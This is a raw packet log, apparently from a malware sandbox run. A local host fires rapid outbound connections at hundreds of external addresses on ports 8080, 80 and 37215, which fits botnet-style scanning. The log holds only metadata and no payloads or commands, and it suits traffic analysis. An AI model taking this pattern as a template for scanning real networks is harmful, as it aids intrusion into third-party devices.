Feb 19, 2025 19:43:17.170830011 CET	33750	8080	192.168.2.13	85.68.195.238
Feb 19, 2025 19:43:17.170833111 CET	53440	8080	192.168.2.13	85.93.200.105
Feb 19, 2025 19:43:17.170833111 CET	59222	8080	192.168.2.13	31.152.40.185
Feb 19, 2025 19:43:17.175245047 CET	80	52010	112.20.171.23	192.168.2.13
Feb 19, 2025 19:43:17.175286055 CET	52010	80	192.168.2.13	112.20.171.23
Feb 19, 2025 19:43:17.176305056 CET	33546	37215	192.168.2.13	41.114.111.67
Feb 19, 2025 19:43:17.176475048 CET	57716	80	192.168.2.13	112.5.109.101
Feb 19, 2025 19:43:17.181274891 CET	37215	33546	41.114.111.67	192.168.2.13
Feb 19, 2025 19:43:17.181323051 CET	33546	37215	192.168.2.13	41.114.111.67
Feb 19, 2025 19:43:17.184830904 CET	46040	80	192.168.2.13	112.187.243.104
Feb 19, 2025 19:43:17.185549974 CET	40198	37215	192.168.2.13	41.190.149.92
Feb 19, 2025 19:43:17.193178892 CET	32812	37215	192.168.2.13	41.2.72.136
Feb 19, 2025 19:43:17.193337917 CET	60392	80	192.168.2.13	112.141.221.191
Feb 19, 2025 19:43:17.198117971 CET	37215	32812	41.2.72.136	192.168.2.13
Feb 19, 2025 19:43:17.198157072 CET	32812	37215	192.168.2.13	41.2.72.136
Feb 19, 2025 19:43:17.202639103 CET	39154	37215	192.168.2.13	41.87.158.80
Feb 19, 2025 19:43:17.202758074 CET	33698	8080	192.168.2.13	31.169.177.2
Feb 19, 2025 19:43:17.202758074 CET	60346	8080	192.168.2.13	85.143.109.249
Feb 19, 2025 19:43:17.202758074 CET	35742	8080	192.168.2.13	62.127.129.76
Feb 19, 2025 19:43:17.202763081 CET	49714	8080	192.168.2.13	95.155.45.111
Feb 19, 2025 19:43:17.202763081 CET	50758	8080	192.168.2.13	85.33.52.66
Feb 19, 2025 19:43:17.202761889 CET	40524	8080	192.168.2.13	62.250.240.211
Feb 19, 2025 19:43:17.202761889 CET	45752	8080	192.168.2.13	31.61.146.86
Feb 19, 2025 19:43:17.202778101 CET	58630	8080	192.168.2.13	31.157.246.36
Feb 19, 2025 19:43:17.202778101 CET	41956	8080	192.168.2.13	31.194.11.61
Feb 19, 2025 19:43:17.202783108 CET	33596	8080	192.168.2.13	31.55.178.108
Feb 19, 2025 19:43:17.202783108 CET	37530	8080	192.168.2.13	85.218.162.248
Feb 19, 2025 19:43:17.202783108 CET	38128	8080	192.168.2.13	85.154.160.227
Feb 19, 2025 19:43:17.202786922 CET	59014	8080	192.168.2.13	85.133.171.211
Feb 19, 2025 19:43:17.202800989 CET	36216	8080	192.168.2.13	94.81.85.120
Feb 19, 2025 19:43:17.202804089 CET	47254	8080	192.168.2.13	94.157.141.163
Feb 19, 2025 19:43:17.202804089 CET	57568	8080	192.168.2.13	85.220.231.22
Feb 19, 2025 19:43:17.202804089 CET	42380	8080	192.168.2.13	62.66.223.97
Feb 19, 2025 19:43:17.202804089 CET	54658	8080	192.168.2.13	62.238.247.192
Feb 19, 2025 19:43:17.202816010 CET	56034	8080	192.168.2.13	95.170.137.79
Feb 19, 2025 19:43:17.202816010 CET	59592	8080	192.168.2.13	62.88.169.59
Feb 19, 2025 19:43:17.202816010 CET	37920	8080	192.168.2.13	62.104.158.97
Feb 19, 2025 19:43:17.202816963 CET	46666	8080	192.168.2.13	85.135.224.218
Feb 19, 2025 19:43:17.202816963 CET	35980	8080	192.168.2.13	94.19.125.200
Feb 19, 2025 19:43:17.202816963 CET	59336	8080	192.168.2.13	62.227.255.2
Feb 19, 2025 19:43:17.202816963 CET	34498	8080	192.168.2.13	62.159.23.130
Feb 19, 2025 19:43:17.202816963 CET	47564	8080	192.168.2.13	31.162.3.29
Feb 19, 2025 19:43:17.202816963 CET	43448	8080	192.168.2.13	62.39.81.41
Feb 19, 2025 19:43:17.202934980 CET	57482	80	192.168.2.13	112.21.233.203
Feb 19, 2025 19:43:17.206940889 CET	40408	37215	192.168.2.13	41.6.146.186
Feb 19, 2025 19:43:17.207211971 CET	45418	80	192.168.2.13	112.219.28.225
Feb 19, 2025 19:43:17.207612991 CET	37215	39154	41.87.158.80	192.168.2.13
Feb 19, 2025 19:43:17.207652092 CET	39154	37215	192.168.2.13	41.87.158.80
Feb 19, 2025 19:43:17.210114956 CET	52474	37215	192.168.2.13	41.34.14.64
Feb 19, 2025 19:43:17.213347912 CET	58690	80	192.168.2.13	112.216.48.13
Feb 19, 2025 19:43:17.215138912 CET	37215	52474	41.34.14.64	192.168.2.13
Feb 19, 2025 19:43:17.215231895 CET	52474	37215	192.168.2.13	41.34.14.64
Feb 19, 2025 19:43:17.220953941 CET	38642	37215	192.168.2.13	41.227.248.82
Feb 19, 2025 19:43:17.221365929 CET	57104	80	192.168.2.13	112.153.230.206
Feb 19, 2025 19:43:17.225940943 CET	37215	38642	41.227.248.82	192.168.2.13
Feb 19, 2025 19:43:17.225997925 CET	38642	37215	192.168.2.13	41.227.248.82
Feb 19, 2025 19:43:17.228540897 CET	37874	37215	192.168.2.13	41.233.172.146
Feb 19, 2025 19:43:17.228763103 CET	57018	80	192.168.2.13	112.32.36.79
Feb 19, 2025 19:43:17.230340004 CET	38110	37215	192.168.2.13	41.236.138.100
Feb 19, 2025 19:43:17.230562925 CET	59672	80	192.168.2.13	112.159.76.254
Feb 19, 2025 19:43:17.232110977 CET	53742	37215	192.168.2.13	41.127.190.95
Feb 19, 2025 19:43:17.232203960 CET	56138	80	192.168.2.13	112.136.126.65
Feb 19, 2025 19:43:17.233522892 CET	37215	37874	41.233.172.146	192.168.2.13
Feb 19, 2025 19:43:17.233567953 CET	37874	37215	192.168.2.13	41.233.172.146
Feb 19, 2025 19:43:17.233664989 CET	44938	80	192.168.2.13	112.183.29.125
Feb 19, 2025 19:43:17.233768940 CET	35628	37215	192.168.2.13	41.20.171.166
Feb 19, 2025 19:43:17.234747887 CET	51758	8080	192.168.2.13	85.28.48.48
Feb 19, 2025 19:43:17.234750986 CET	44816	8080	192.168.2.13	94.233.60.184
Feb 19, 2025 19:43:17.234750986 CET	55050	8080	192.168.2.13	31.34.71.167
Feb 19, 2025 19:43:17.234750986 CET	49072	8080	192.168.2.13	85.169.253.13
Feb 19, 2025 19:43:17.234750986 CET	39152	8080	192.168.2.13	62.254.25.230
Feb 19, 2025 19:43:17.234757900 CET	39720	8080	192.168.2.13	95.152.164.215
Feb 19, 2025 19:43:17.234759092 CET	43446	8080	192.168.2.13	85.245.50.208
Feb 19, 2025 19:43:17.234757900 CET	39986	8080	192.168.2.13	31.33.53.68
Feb 19, 2025 19:43:17.234761000 CET	37464	8080	192.168.2.13	95.203.62.27
Feb 19, 2025 19:43:17.234761000 CET	53902	8080	192.168.2.13	31.189.146.139
Feb 19, 2025 19:43:17.234761953 CET	59534	8080	192.168.2.13	94.34.109.170
Feb 19, 2025 19:43:17.234759092 CET	52462	8080	192.168.2.13	62.109.207.150
Feb 19, 2025 19:43:17.234759092 CET	37480	8080	192.168.2.13	94.99.103.17
Feb 19, 2025 19:43:17.234766960 CET	45602	8080	192.168.2.13	94.135.203.166
Feb 19, 2025 19:43:17.234770060 CET	55022	8080	192.168.2.13	31.46.173.221
Feb 19, 2025 19:43:17.234770060 CET	45868	8080	192.168.2.13	85.164.75.64
Feb 19, 2025 19:43:17.234777927 CET	60764	8080	192.168.2.13	31.224.230.23
Feb 19, 2025 19:43:17.234786987 CET	47102	8080	192.168.2.13	62.122.6.87
Feb 19, 2025 19:43:17.234787941 CET	58716	8080	192.168.2.13	95.254.183.85
Feb 19, 2025 19:43:17.234787941 CET	57120	8080	192.168.2.13	85.220.173.251
Feb 19, 2025 19:43:17.234792948 CET	36050	8080	192.168.2.13	62.152.94.138
Feb 19, 2025 19:43:17.234792948 CET	35892	8080	192.168.2.13	85.70.218.64
Feb 19, 2025 19:43:17.234796047 CET	36432	8080	192.168.2.13	85.5.38.110
Feb 19, 2025 19:43:17.234797001 CET	32984	8080	192.168.2.13	62.251.250.77
Feb 19, 2025 19:43:17.234797001 CET	38664	8080	192.168.2.13	62.184.152.249
Feb 19, 2025 19:43:17.234801054 CET	51956	8080	192.168.2.13	85.138.56.182
Feb 19, 2025 19:43:17.234801054 CET	39030	8080	192.168.2.13	94.88.229.249
Feb 19, 2025 19:43:17.234802961 CET	43696	8080	192.168.2.13	94.46.167.16
Feb 19, 2025 19:43:17.234808922 CET	43144	8080	192.168.2.13	31.9.27.39
Feb 19, 2025 19:43:17.234808922 CET	36896	8080	192.168.2.13	95.20.21.42
Feb 19, 2025 19:43:17.234808922 CET	47338	8080	192.168.2.13	94.129.181.93
Feb 19, 2025 19:43:17.234808922 CET	55522	8080	192.168.2.13	62.169.217.164
Feb 19, 2025 19:43:17.234810114 CET	48962	8080	192.168.2.13	95.144.238.168
Feb 19, 2025 19:43:17.234808922 CET	54690	8080	192.168.2.13	95.109.16.245
Feb 19, 2025 19:43:17.234808922 CET	45262	8080	192.168.2.13	95.214.73.173
Feb 19, 2025 19:43:17.234810114 CET	57168	8080	192.168.2.13	94.178.50.229
Feb 19, 2025 19:43:17.234808922 CET	34054	8080	192.168.2.13	85.0.246.113
Feb 19, 2025 19:43:17.234812021 CET	41760	8080	192.168.2.13	94.90.133.33
Feb 19, 2025 19:43:17.234810114 CET	48158	8080	192.168.2.13	94.33.128.45
Feb 19, 2025 19:43:17.234811068 CET	53642	8080	192.168.2.13	85.19.162.212
Feb 19, 2025 19:43:17.234812021 CET	57814	8080	192.168.2.13	62.166.150.154
Feb 19, 2025 19:43:17.234812021 CET	53060	8080	192.168.2.13	62.211.235.250
Feb 19, 2025 19:43:17.234821081 CET	44136	8080	192.168.2.13	62.207.171.79
Feb 19, 2025 19:43:17.234821081 CET	50046	8080	192.168.2.13	95.147.252.83
Feb 19, 2025 19:43:17.234821081 CET	38242	8080	192.168.2.13	95.71.0.133
Feb 19, 2025 19:43:17.234822989 CET	46034	8080	192.168.2.13	94.103.141.211
Feb 19, 2025 19:43:17.234822989 CET	33262	8080	192.168.2.13	62.86.96.49
Feb 19, 2025 19:43:17.234827042 CET	38206	8080	192.168.2.13	85.7.186.13
Feb 19, 2025 19:43:17.234827042 CET	56916	8080	192.168.2.13	31.89.117.137
Feb 19, 2025 19:43:17.234846115 CET	48684	8080	192.168.2.13	95.217.78.131
Feb 19, 2025 19:43:17.234846115 CET	54740	8080	192.168.2.13	85.100.204.76
Feb 19, 2025 19:43:17.234846115 CET	45232	8080	192.168.2.13	95.166.123.60
Feb 19, 2025 19:43:17.236747026 CET	57566	80	192.168.2.13	112.29.109.63
Feb 19, 2025 19:43:17.237323046 CET	47482	37215	192.168.2.13	41.56.56.3
Feb 19, 2025 19:43:17.241660118 CET	80	57566	112.29.109.63	192.168.2.13
Feb 19, 2025 19:43:17.241710901 CET	57566	80	192.168.2.13	112.29.109.63
Feb 19, 2025 19:43:17.242116928 CET	47058	80	192.168.2.13	112.189.104.49
Feb 19, 2025 19:43:17.242280960 CET	59232	37215	192.168.2.13	41.119.83.158
Feb 19, 2025 19:43:17.244427919 CET	57896	80	192.168.2.13	112.35.146.165
Feb 19, 2025 19:43:17.244602919 CET	57656	37215	192.168.2.13	41.225.117.212
Feb 19, 2025 19:43:17.246156931 CET	60748	37215	192.168.2.13	41.176.91.11
Feb 19, 2025 19:43:17.246258974 CET	36788	80	192.168.2.13	112.53.150.148
Feb 19, 2025 19:43:17.247905016 CET	54200	80	192.168.2.13	112.215.100.84
Feb 19, 2025 19:43:17.247982025 CET	58464	37215	192.168.2.13	41.235.226.46
Feb 19, 2025 19:43:17.250586987 CET	47484	37215	192.168.2.13	41.222.43.0
Feb 19, 2025 19:43:17.250704050 CET	35122	80	192.168.2.13	112.23.135.135
Feb 19, 2025 19:43:17.252497911 CET	33844	80	192.168.2.13	112.193.201.91
Feb 19, 2025 19:43:17.252649069 CET	38496	37215	192.168.2.13	41.156.191.155
Feb 19, 2025 19:43:17.252877951 CET	80	54200	112.215.100.84	192.168.2.13
Feb 19, 2025 19:43:17.252960920 CET	54200	80	192.168.2.13	112.215.100.84
Feb 19, 2025 19:43:17.254513025 CET	43278	37215	192.168.2.13	41.161.208.160
Feb 19, 2025 19:43:17.254678965 CET	54832	80	192.168.2.13	112.63.140.176
Feb 19, 2025 19:43:17.256411076 CET	49734	37215	192.168.2.13	41.28.88.222
Feb 19, 2025 19:43:17.256720066 CET	36652	80	192.168.2.13	112.107.102.14
Feb 19, 2025 19:43:17.258034945 CET	38856	37215	192.168.2.13	41.79.26.198
Feb 19, 2025 19:43:17.258646965 CET	34084	80	192.168.2.13	112.62.87.190
Feb 19, 2025 19:43:17.259752989 CET	45260	37215	192.168.2.13	41.141.102.123
Feb 19, 2025 19:43:17.260574102 CET	34188	80	192.168.2.13	112.159.170.189
Feb 19, 2025 19:43:17.261399031 CET	52806	37215	192.168.2.13	41.217.123.164
Feb 19, 2025 19:43:17.261420965 CET	37215	49734	41.28.88.222	192.168.2.13
Feb 19, 2025 19:43:17.261487007 CET	49734	37215	192.168.2.13	41.28.88.222
Feb 19, 2025 19:43:17.262061119 CET	56298	80	192.168.2.13	112.75.226.122
Feb 19, 2025 19:43:17.263053894 CET	51980	37215	192.168.2.13	41.145.179.160
Feb 19, 2025 19:43:17.263705969 CET	60298	80	192.168.2.13	112.176.77.66
Feb 19, 2025 19:43:17.264789104 CET	49246	37215	192.168.2.13	41.65.58.41
Feb 19, 2025 19:43:17.265271902 CET	33944	80	192.168.2.13	112.215.50.93
Feb 19, 2025 19:43:17.265958071 CET	26802	8080	192.168.2.13	94.51.104.46
Feb 19, 2025 19:43:17.265958071 CET	26802	8080	192.168.2.13	62.49.4.45
Feb 19, 2025 19:43:17.265966892 CET	26802	8080	192.168.2.13	31.235.225.114
Feb 19, 2025 19:43:17.265968084 CET	26802	8080	192.168.2.13	94.99.244.155
Feb 19, 2025 19:43:17.265969992 CET	26802	8080	192.168.2.13	94.71.16.91
Feb 19, 2025 19:43:17.265968084 CET	26802	8080	192.168.2.13	85.224.238.182
Feb 19, 2025 19:43:17.265969992 CET	26802	8080	192.168.2.13	95.249.247.60
Feb 19, 2025 19:43:17.265969992 CET	26802	8080	192.168.2.13	62.160.192.234
Feb 19, 2025 19:43:17.265969992 CET	26802	8080	192.168.2.13	95.255.208.31
Feb 19, 2025 19:43:17.265976906 CET	26802	8080	192.168.2.13	62.15.211.145
Feb 19, 2025 19:43:17.265978098 CET	26802	8080	192.168.2.13	62.179.129.208
Feb 19, 2025 19:43:17.265978098 CET	26802	8080	192.168.2.13	85.89.11.244
Feb 19, 2025 19:43:17.265984058 CET	26802	8080	192.168.2.13	85.142.211.244
Feb 19, 2025 19:43:17.265984058 CET	26802	8080	192.168.2.13	31.179.143.19
Feb 19, 2025 19:43:17.265985966 CET	26802	8080	192.168.2.13	31.182.191.120
Feb 19, 2025 19:43:17.265990019 CET	26802	8080	192.168.2.13	94.78.52.91
Feb 19, 2025 19:43:17.265993118 CET	26802	8080	192.168.2.13	31.132.226.196
Feb 19, 2025 19:43:17.265997887 CET	26802	8080	192.168.2.13	31.6.50.73
Feb 19, 2025 19:43:17.266004086 CET	26802	8080	192.168.2.13	95.59.105.95
Feb 19, 2025 19:43:17.266026020 CET	26802	8080	192.168.2.13	62.221.75.95
Feb 19, 2025 19:43:17.266026974 CET	26802	8080	192.168.2.13	85.86.35.188
Feb 19, 2025 19:43:17.266026974 CET	26802	8080	192.168.2.13	31.64.164.12
Feb 19, 2025 19:43:17.266026974 CET	26802	8080	192.168.2.13	31.65.138.94
Feb 19, 2025 19:43:17.266026974 CET	26802	8080	192.168.2.13	95.131.121.40
Feb 19, 2025 19:43:17.266028881 CET	26802	8080	192.168.2.13	94.35.94.127
Feb 19, 2025 19:43:17.266046047 CET	26802	8080	192.168.2.13	95.35.119.92
Feb 19, 2025 19:43:17.266046047 CET	26802	8080	192.168.2.13	85.118.224.59
Feb 19, 2025 19:43:17.266046047 CET	26802	8080	192.168.2.13	94.221.255.172
Feb 19, 2025 19:43:17.266047001 CET	26802	8080	192.168.2.13	85.246.18.181
Feb 19, 2025 19:43:17.266047955 CET	26802	8080	192.168.2.13	62.224.214.174
Feb 19, 2025 19:43:17.266047955 CET	26802	8080	192.168.2.13	94.186.26.169
Feb 19, 2025 19:43:17.266047955 CET	26802	8080	192.168.2.13	31.170.46.102
Feb 19, 2025 19:43:17.266050100 CET	26802	8080	192.168.2.13	95.67.109.15
Feb 19, 2025 19:43:17.266047955 CET	26802	8080	192.168.2.13	85.212.101.126
Feb 19, 2025 19:43:17.266050100 CET	26802	8080	192.168.2.13	62.119.233.136
Feb 19, 2025 19:43:17.266047955 CET	26802	8080	192.168.2.13	85.106.38.70
Feb 19, 2025 19:43:17.266047955 CET	26802	8080	192.168.2.13	62.7.42.58
Feb 19, 2025 19:43:17.266047955 CET	26802	8080	192.168.2.13	85.27.171.153
Feb 19, 2025 19:43:17.266047955 CET	26802	8080	192.168.2.13	95.162.51.112
Feb 19, 2025 19:43:17.266047955 CET	26802	8080	192.168.2.13	62.231.208.168
Feb 19, 2025 19:43:17.266057014 CET	26802	8080	192.168.2.13	85.9.95.83
Feb 19, 2025 19:43:17.266057014 CET	26802	8080	192.168.2.13	85.34.247.208
Feb 19, 2025 19:43:17.266058922 CET	26802	8080	192.168.2.13	85.28.36.42
Feb 19, 2025 19:43:17.266062975 CET	26802	8080	192.168.2.13	62.72.169.225
Feb 19, 2025 19:43:17.266067982 CET	26802	8080	192.168.2.13	62.254.241.164
Feb 19, 2025 19:43:17.266069889 CET	26802	8080	192.168.2.13	95.187.124.225
Feb 19, 2025 19:43:17.266069889 CET	26802	8080	192.168.2.13	94.160.229.193
Feb 19, 2025 19:43:17.266073942 CET	26802	8080	192.168.2.13	94.242.178.26
Feb 19, 2025 19:43:17.266076088 CET	26802	8080	192.168.2.13	85.36.98.65
Feb 19, 2025 19:43:17.266084909 CET	26802	8080	192.168.2.13	94.204.120.177
Feb 19, 2025 19:43:17.266089916 CET	26802	8080	192.168.2.13	85.152.145.88
Feb 19, 2025 19:43:17.266089916 CET	26802	8080	192.168.2.13	85.230.236.14
Feb 19, 2025 19:43:17.266089916 CET	26802	8080	192.168.2.13	62.235.113.50
Feb 19, 2025 19:43:17.266089916 CET	26802	8080	192.168.2.13	95.68.137.32
Feb 19, 2025 19:43:17.266089916 CET	26802	8080	192.168.2.13	85.67.64.24
Feb 19, 2025 19:43:17.266098976 CET	26802	8080	192.168.2.13	94.28.68.145
Feb 19, 2025 19:43:17.266100883 CET	26802	8080	192.168.2.13	94.5.154.76
Feb 19, 2025 19:43:17.266100883 CET	26802	8080	192.168.2.13	62.186.74.53
Feb 19, 2025 19:43:17.266107082 CET	26802	8080	192.168.2.13	31.21.52.216
Feb 19, 2025 19:43:17.266108990 CET	26802	8080	192.168.2.13	94.180.80.247
Feb 19, 2025 19:43:17.266108990 CET	26802	8080	192.168.2.13	95.227.238.174
Feb 19, 2025 19:43:17.266113997 CET	26802	8080	192.168.2.13	85.189.116.146
Feb 19, 2025 19:43:17.266115904 CET	26802	8080	192.168.2.13	85.184.24.243
Feb 19, 2025 19:43:17.266115904 CET	26802	8080	192.168.2.13	95.123.75.183
Feb 19, 2025 19:43:17.266115904 CET	26802	8080	192.168.2.13	95.44.239.12
Feb 19, 2025 19:43:17.266119003 CET	26802	8080	192.168.2.13	85.28.249.44
Feb 19, 2025 19:43:17.266124964 CET	26802	8080	192.168.2.13	94.42.186.209
Feb 19, 2025 19:43:17.266125917 CET	26802	8080	192.168.2.13	85.74.157.155
Feb 19, 2025 19:43:17.266149044 CET	26802	8080	192.168.2.13	62.46.8.135
Feb 19, 2025 19:43:17.266149044 CET	26802	8080	192.168.2.13	85.114.231.128
Feb 19, 2025 19:43:17.266149044 CET	26802	8080	192.168.2.13	95.108.255.126
Feb 19, 2025 19:43:17.266149044 CET	26802	8080	192.168.2.13	94.198.221.197
Feb 19, 2025 19:43:17.266149998 CET	26802	8080	192.168.2.13	31.224.88.129
Feb 19, 2025 19:43:17.266150951 CET	26802	8080	192.168.2.13	85.46.73.57
Feb 19, 2025 19:43:17.266149998 CET	26802	8080	192.168.2.13	31.123.162.250
Feb 19, 2025 19:43:17.266150951 CET	26802	8080	192.168.2.13	94.157.31.182
Feb 19, 2025 19:43:17.266149998 CET	26802	8080	192.168.2.13	31.255.195.175
Feb 19, 2025 19:43:17.266150951 CET	26802	8080	192.168.2.13	31.213.98.152
Feb 19, 2025 19:43:17.266155005 CET	26802	8080	192.168.2.13	62.58.167.225
Feb 19, 2025 19:43:17.266155005 CET	26802	8080	192.168.2.13	31.41.224.10
Feb 19, 2025 19:43:17.266155005 CET	26802	8080	192.168.2.13	95.199.94.42
Feb 19, 2025 19:43:17.266159058 CET	26802	8080	192.168.2.13	62.8.161.109
Feb 19, 2025 19:43:17.266159058 CET	26802	8080	192.168.2.13	94.171.62.117
Feb 19, 2025 19:43:17.266160011 CET	26802	8080	192.168.2.13	85.29.199.116
Feb 19, 2025 19:43:17.266160011 CET	26802	8080	192.168.2.13	62.7.62.83
Feb 19, 2025 19:43:17.266160011 CET	26802	8080	192.168.2.13	31.227.255.193
Feb 19, 2025 19:43:17.266165018 CET	26802	8080	192.168.2.13	62.170.59.217
Feb 19, 2025 19:43:17.266169071 CET	26802	8080	192.168.2.13	31.182.88.197
Feb 19, 2025 19:43:17.266169071 CET	26802	8080	192.168.2.13	95.7.14.78
Feb 19, 2025 19:43:17.266170979 CET	26802	8080	192.168.2.13	94.32.131.96
Feb 19, 2025 19:43:17.266170979 CET	26802	8080	192.168.2.13	31.51.162.3
Feb 19, 2025 19:43:17.266171932 CET	26802	8080	192.168.2.13	94.189.132.233
Feb 19, 2025 19:43:17.266171932 CET	26802	8080	192.168.2.13	94.80.251.112
Feb 19, 2025 19:43:17.266171932 CET	26802	8080	192.168.2.13	95.27.5.89
Feb 19, 2025 19:43:17.266174078 CET	26802	8080	192.168.2.13	31.23.231.212
Feb 19, 2025 19:43:17.266181946 CET	26802	8080	192.168.2.13	31.109.243.121
Feb 19, 2025 19:43:17.266185999 CET	26802	8080	192.168.2.13	85.209.255.4
Feb 19, 2025 19:43:17.266192913 CET	26802	8080	192.168.2.13	62.9.109.174
Feb 19, 2025 19:43:17.266210079 CET	26802	8080	192.168.2.13	94.149.111.44
Feb 19, 2025 19:43:17.266211987 CET	26802	8080	192.168.2.13	85.8.127.219
Feb 19, 2025 19:43:17.266215086 CET	26802	8080	192.168.2.13	31.137.148.76
Feb 19, 2025 19:43:17.266216993 CET	26802	8080	192.168.2.13	95.19.238.188
Feb 19, 2025 19:43:17.266216993 CET	26802	8080	192.168.2.13	95.57.133.167
Feb 19, 2025 19:43:17.266216993 CET	26802	8080	192.168.2.13	31.154.47.100
Feb 19, 2025 19:43:17.266216993 CET	26802	8080	192.168.2.13	94.142.139.122
Feb 19, 2025 19:43:17.266226053 CET	26802	8080	192.168.2.13	95.226.98.50
Feb 19, 2025 19:43:17.266228914 CET	26802	8080	192.168.2.13	95.153.227.105
Feb 19, 2025 19:43:17.266232967 CET	26802	8080	192.168.2.13	31.184.196.137
Feb 19, 2025 19:43:17.266236067 CET	26802	8080	192.168.2.13	85.22.141.144
Feb 19, 2025 19:43:17.266236067 CET	26802	8080	192.168.2.13	62.253.44.230
Feb 19, 2025 19:43:17.266237974 CET	26802	8080	192.168.2.13	94.100.76.95
Feb 19, 2025 19:43:17.266239882 CET	26802	8080	192.168.2.13	94.15.59.130
Feb 19, 2025 19:43:17.266239882 CET	26802	8080	192.168.2.13	85.210.138.21
Feb 19, 2025 19:43:17.266239882 CET	26802	8080	192.168.2.13	85.111.210.233
Feb 19, 2025 19:43:17.266254902 CET	26802	8080	192.168.2.13	62.144.58.93
Feb 19, 2025 19:43:17.266254902 CET	26802	8080	192.168.2.13	31.134.129.31
Feb 19, 2025 19:43:17.266254902 CET	26802	8080	192.168.2.13	31.240.145.26
Feb 19, 2025 19:43:17.266261101 CET	26802	8080	192.168.2.13	95.53.140.166
Feb 19, 2025 19:43:17.266264915 CET	26802	8080	192.168.2.13	31.2.137.224
Feb 19, 2025 19:43:17.266268015 CET	26802	8080	192.168.2.13	95.220.249.143
Feb 19, 2025 19:43:17.266279936 CET	26802	8080	192.168.2.13	95.251.81.214
Feb 19, 2025 19:43:17.266283035 CET	26802	8080	192.168.2.13	95.102.171.124
Feb 19, 2025 19:43:17.266283989 CET	26802	8080	192.168.2.13	95.95.180.114
Feb 19, 2025 19:43:17.266284943 CET	26802	8080	192.168.2.13	62.209.146.178
Feb 19, 2025 19:43:17.266285896 CET	26802	8080	192.168.2.13	31.232.8.213
Feb 19, 2025 19:43:17.266285896 CET	26802	8080	192.168.2.13	62.99.104.252
Feb 19, 2025 19:43:17.266299963 CET	26802	8080	192.168.2.13	85.198.176.197
Feb 19, 2025 19:43:17.266299963 CET	26802	8080	192.168.2.13	62.248.41.42
Feb 19, 2025 19:43:17.266304970 CET	26802	8080	192.168.2.13	62.35.222.34
Feb 19, 2025 19:43:17.266307116 CET	26802	8080	192.168.2.13	62.222.101.156
Feb 19, 2025 19:43:17.266309977 CET	26802	8080	192.168.2.13	94.58.212.235
Feb 19, 2025 19:43:17.266309977 CET	26802	8080	192.168.2.13	85.92.61.68
Feb 19, 2025 19:43:17.266316891 CET	26802	8080	192.168.2.13	94.33.4.53
Feb 19, 2025 19:43:17.266316891 CET	26802	8080	192.168.2.13	85.189.127.97
Feb 19, 2025 19:43:17.266319036 CET	26802	8080	192.168.2.13	85.20.251.8
Feb 19, 2025 19:43:17.266316891 CET	26802	8080	192.168.2.13	94.246.235.232
Feb 19, 2025 19:43:17.266318083 CET	26802	8080	192.168.2.13	85.126.147.146
Feb 19, 2025 19:43:17.266319990 CET	26802	8080	192.168.2.13	62.36.225.75
Feb 19, 2025 19:43:17.266324043 CET	26802	8080	192.168.2.13	95.58.12.241
Feb 19, 2025 19:43:17.266324043 CET	26802	8080	192.168.2.13	85.59.118.18
Feb 19, 2025 19:43:17.266330957 CET	26802	8080	192.168.2.13	62.37.49.6
Feb 19, 2025 19:43:17.266333103 CET	26802	8080	192.168.2.13	31.179.66.158
Feb 19, 2025 19:43:17.266340017 CET	26802	8080	192.168.2.13	95.122.248.41
Feb 19, 2025 19:43:17.266341925 CET	26802	8080	192.168.2.13	94.195.24.228
Feb 19, 2025 19:43:17.266341925 CET	26802	8080	192.168.2.13	85.41.100.109
Feb 19, 2025 19:43:17.266360044 CET	26802	8080	192.168.2.13	31.188.75.101
Feb 19, 2025 19:43:17.266360998 CET	26802	8080	192.168.2.13	85.183.106.145
Feb 19, 2025 19:43:17.266365051 CET	26802	8080	192.168.2.13	31.231.238.236
Feb 19, 2025 19:43:17.266365051 CET	26802	8080	192.168.2.13	62.217.178.82
Feb 19, 2025 19:43:17.266365051 CET	26802	8080	192.168.2.13	85.197.190.159
Feb 19, 2025 19:43:17.266374111 CET	26802	8080	192.168.2.13	85.246.82.39
Feb 19, 2025 19:43:17.266383886 CET	26802	8080	192.168.2.13	94.14.118.106
Feb 19, 2025 19:43:17.266386986 CET	26802	8080	192.168.2.13	95.102.116.198
Feb 19, 2025 19:43:17.266391039 CET	26802	8080	192.168.2.13	95.189.64.12
Feb 19, 2025 19:43:17.266391039 CET	26802	8080	192.168.2.13	95.168.146.178
Feb 19, 2025 19:43:17.266396999 CET	26802	8080	192.168.2.13	62.75.156.148
Feb 19, 2025 19:43:17.266400099 CET	26802	8080	192.168.2.13	94.108.228.239
Feb 19, 2025 19:43:17.266402006 CET	26802	8080	192.168.2.13	62.194.104.113
Feb 19, 2025 19:43:17.266402960 CET	26802	8080	192.168.2.13	85.178.214.1
Feb 19, 2025 19:43:17.266402960 CET	26802	8080	192.168.2.13	95.127.150.198
Feb 19, 2025 19:43:17.266410112 CET	26802	8080	192.168.2.13	85.67.77.93
Feb 19, 2025 19:43:17.266410112 CET	26802	8080	192.168.2.13	94.148.190.168
Feb 19, 2025 19:43:17.266411066 CET	26802	8080	192.168.2.13	85.46.44.254
Feb 19, 2025 19:43:17.266410112 CET	26802	8080	192.168.2.13	31.180.171.3
Feb 19, 2025 19:43:17.266410112 CET	26802	8080	192.168.2.13	62.30.51.253
Feb 19, 2025 19:43:17.266410112 CET	26802	8080	192.168.2.13	94.17.15.45
Feb 19, 2025 19:43:17.266412973 CET	26802	8080	192.168.2.13	94.229.122.74
Feb 19, 2025 19:43:17.266412973 CET	26802	8080	192.168.2.13	62.39.1.62
Feb 19, 2025 19:43:17.266412973 CET	26802	8080	192.168.2.13	62.26.16.159
Feb 19, 2025 19:43:17.266412973 CET	26802	8080	192.168.2.13	85.232.204.20
Feb 19, 2025 19:43:17.266432047 CET	26802	8080	192.168.2.13	31.80.221.79
Feb 19, 2025 19:43:17.266432047 CET	26802	8080	192.168.2.13	94.231.224.236
Feb 19, 2025 19:43:17.266438007 CET	26802	8080	192.168.2.13	95.174.217.5
Feb 19, 2025 19:43:17.266438007 CET	26802	8080	192.168.2.13	62.127.141.159
Feb 19, 2025 19:43:17.266438961 CET	26802	8080	192.168.2.13	95.31.232.177
Feb 19, 2025 19:43:17.266438961 CET	26802	8080	192.168.2.13	62.104.165.120
Feb 19, 2025 19:43:17.266446114 CET	26802	8080	192.168.2.13	62.186.76.219
Feb 19, 2025 19:43:17.266446114 CET	26802	8080	192.168.2.13	31.234.139.117
Feb 19, 2025 19:43:17.266447067 CET	26802	8080	192.168.2.13	94.32.83.245
Feb 19, 2025 19:43:17.266447067 CET	26802	8080	192.168.2.13	94.187.226.117
Feb 19, 2025 19:43:17.266450882 CET	26802	8080	192.168.2.13	94.249.3.234
Feb 19, 2025 19:43:17.266450882 CET	26802	8080	192.168.2.13	94.21.106.225
